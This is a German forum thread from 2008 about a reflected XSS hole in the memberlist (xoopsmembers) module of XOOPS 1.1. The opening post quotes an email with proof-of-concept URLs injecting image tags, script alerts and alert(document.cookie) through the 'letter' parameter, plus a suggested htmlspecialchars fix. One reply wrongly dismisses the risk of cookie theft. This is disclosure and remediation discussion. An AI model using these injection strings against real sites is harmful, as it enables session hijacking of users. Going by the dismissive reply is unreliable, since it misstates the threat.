#6

Re: memberlist xss luecke

18.01.2008 21:00 ok dann bin ich erst mal beruhigt

tnx

BB

#5

Re: memberlist xss luecke

18.01.2008 20:38 Soweit ich das sehe ist das nicht weiter schlimm.
Es ist nur html-code vermischt mit php und oder Java.

Wäre der Code gut strukturiert käme sowas nicht vor.
Wenn man Code vom html trennt und nicht innerhalb eines "tags" programmiert, dann ist so etwas auch nicht mehr zu sehen.

Was das unsicher Betrifft, wie soll jemand denn bitte meinen "Keks" lesen können, ohne mir über die Schulter zu gucken. Dann kann er/sie auch gleich mitlesen.

Muki

#4

Re: memberlist xss luecke

18.01.2008 20:14 hat keiner was dazu zu sagen ?
ich weiss nicht was ich davon halten soll .

hier noch ne email dazu


""""""

Es soll dir sagen, dass das System an dieser Stelle eine Schwachstelle
aufweist. Diese kann mit verhältnismässigem Aufwand entfernt werden.

Mit nem passendem javascript kann man zb. dein Cookie kopieren und sich
dann dem System gegenüber als Admin ausgeben.
Es würde reichen, wenn jmd. im Forum nen Link postet, den du da klickst.
Wenn dein Browser dich nicht warnt, kann
man sonst was machen.
Oder dir mit einen präperiertem Link einen Trojaner unterschieben. Bzw.
den Usern.

Noch was. Mit dieser Lücke kann man nicht deinen Server kompromittieren.
Solche Sachen betreffen immer nur den Surfer.


""""""""



gruss BB

#3

Re: memberlist xss luecke

14.01.2008 17:13 memberlist 1.1

#2

Re: memberlist xss luecke

14.01.2008 17:00 Bitte noch die Versionsnummer vom Modul angeben.

#1

memberlist xss luecke

14.01.2008 16:56 hi jungs ich wurde von nem user auf das folgende hingewiesen.. kann mir das mal einer genauer erklaeren bzw die abhilfe wenn noetig erklaeren..

also

.....................

Es gibt eine XSS-Lücke bei der Mitgliedersuche. Es werden keine
unerlaubt Zeichen entfernt.

Beispiele:

Bilder:
http://www.xxxxxx.net/html/modules/xoopsmembers/index.php?letter=A%20'%20/%3E%3Cimg%20src=http://events.ccc.de/congress/2007-mediawiki/images/f/fb/24c3-banner_460_80.jpg%20/%3E%3Cbr'&sortby=uid

JavaScript (das erste zeigt deinen Cookie an; das zweite erzeugt 9 oder
18 Alertboxen):

http://www.xxxxxxe.net/html/modules/xoopsmembers/index.php?letter=1'><a
href=javascript:alert(document.cookie)>Alertbox</a><br'&sortby=uid

http://www.xxxxx.net/html/modules/xoopsmembers/index.php?letter=1'><script>alert(0);</script><br'&sortby=uid

Und einfache Links:

Link intern:
http://www.xxxx.net/html/modules/xoopsmembers/index.php?letter=1'><a
href=link2somewhere>KLICK MICH</a><br<!-- '&sortby=uid
Link extern:
http://www.xxx.net/html/modules/xoopsmembers/index.php?letter=1'><a
href=http://www.heisec.de>KLICK MICH</a><br<!-- '&sortby=uid

Abhilfe: Untersuchen der Suchstrings auf unerlaubte Zeichen, wie bei der
Boardsuche

xoops/search.php: .htmlspecialchars(stripslashes($q)). (sowas in der Art)

Wende dich am besten an den, der das programmiert hat.


Viele Grüsse H

..............................

soweit die email..

gruss bb